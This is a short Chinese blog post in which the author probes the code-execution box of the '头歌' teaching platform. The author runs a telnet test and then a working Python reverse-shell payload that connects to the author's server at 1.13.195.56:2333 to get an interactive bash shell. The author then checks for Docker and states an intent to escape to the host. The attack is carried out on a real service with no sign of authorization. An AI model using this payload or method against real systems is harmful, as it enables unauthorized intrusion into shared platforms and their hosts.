最近被计算机组成原理的实验整得头疼,正好最近又在复习Get Shell
的相关知识,于是萌生了拿实验平台“头歌”练练手的想法。
打开“头歌”实验平台,可以看到在实验窗口存在一个代码执行框,根据课程的不同可以执行不同语言的代码。
测试代码安全性检测
这里选择了一个可以执行Python代码的课程,测试平台是否对代码进行安全性检测。
服务器使用nc工具开启监听模式,使用net-cat工具监听在2333端口:
nc -lvvp 2333
在实验平台使用telnet
命令尝试连接服务器:
import os
os.system("telnet 1.13.195.56 2333")
从输出结果可以看到成功连接到了服务器,服务器端的输出也证实了平台对执行的代码并没有做安全性校验:
写入Payload ,反弹Shell
在实验平台写入以下代码,运行后建立socket连接,在服务器端即可获取shell:
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.13.195.56", 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
验证是否在docker容器中
查看/.dockerenv
文件是否存在:
查看/proc/1/cgroup
文件:
发现处于docker容器中,后续还需尝试docker逃逸,以便获取宿主机权限。